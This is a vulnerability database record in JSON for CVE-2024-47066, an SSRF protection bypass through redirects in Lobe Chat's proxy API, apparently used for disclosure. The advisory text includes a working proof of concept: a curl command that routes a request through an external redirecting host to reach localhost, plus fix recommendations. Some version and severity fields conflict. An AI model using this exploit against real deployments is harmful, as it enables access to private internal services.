{"id":"CVE-2024-47066","aliases":["CVE-2024-47066","GHSA-3fc8-2r3f-8wrg"],"related":[],"kind":"vulnerability","state":"published","title":"Lobe Chat has insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)","summary":"Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nSSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.\n\n### PoC\n1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;\n\n2. Create file dummy-server.js with the following content:\n```\nvar http = require('http');\nconsole.log(\"running server\");\nhttp.createServer(function (req, res) {\n  console.log(req.url);\n  res.writeHead(200, {'Content-Type': 'text/html'});\n  res.end();\n}).listen(3001, 'localhost');\n\n```\nAnd run \n```\nnode dummy-server.js\n```\nas an example server inside of container [1] (or in containers private network).\n\n3. Run in terminal to perform request to lobe-chat instance from [1]\n\n```\ncurl --path-as-is -i -s -k -X $'POST' \\\n    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \\\n    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \\\n    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \\\n    $'http://0.0.0.0:3210/api/proxy'\n```\n\nwhere body contains url of server which redirects to internal network (in my case it redirects according url parameter).\n\n4. Observe in output of [2]\n```\nrunning server\n/iamssrf_1337\n```\n\n5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.\n\n### Fix recommendations:\n1. Disable redirects - lobe-chat should consider explicitly disable redirects. \n2. If redirects support is required, perform check before each http request.\n\n### Impact\nhttps://portswigger.net/web-security/ssrf","format":"markdown","source":"ghsa"},{"lang":"es","text":"Lobe Chat es un framework de chat de inteligencia artificial de código abierto. Antes de la versión 1.19.13, la protección contra server-side request forgery implementado en `src/app/api/proxy/route.ts` no tiene en cuenta la redirección y se puede omitir cuando el atacante proporciona una URL maliciosa externa que redirige a recursos internos como una red privada o una dirección de loopback. La versión 1.19.13 contiene una solución mejorada para el problema.","source":"nvd"}],"published":"2024-09-23T15:17:43.364Z","modified":"2026-06-17T07:56:28.983Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H","score":9,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H","score":9,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H","score":9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:H","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"< 1.19.13","status":"affected"}],"vendor":"lobehub","product":"lobe-chat","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"1.19.13","status":"affected"}],"vendor":"lobehub","product":"lobe_chat","cpe":"cpe:2.3:a:lobehub:lobe_chat:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.19.13"}],"ecosystem":"npm","package":"@lobehub/chat","purl":"pkg:npm/%40lobehub/chat","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.19.3"}],"vendor":"lobehub","product":"lobe_chat","cpe":"cpe:2.3:a:lobehub:lobe_chat:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg","tags":["exploit","third-party-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc","tags":["not-applicable","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts","tags":["broken-link","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47066","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/lobehub/lobe-chat","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-09-23T15:39:49.290Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-47066","url":"https://www.cve.org/CVERecord?id=CVE-2024-47066","licence":"CVE Terms of Use","modified":"2024-09-23T15:41:22.252Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3fc8-2r3f-8wrg","url":"https://github.com/advisories/GHSA-3fc8-2r3f-8wrg","licence":"CC-BY-4.0","modified":"2026-02-04T04:36:26.204Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-47066","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47066","licence":"Public domain","modified":"2026-06-17T07:56:28.983Z"}],"updatedAt":"2026-11-25T22:58:45.678Z","epss":{"score":0.1186,"percentile":0.96189,"date":"2026-12-01T12:00:22.000Z"}}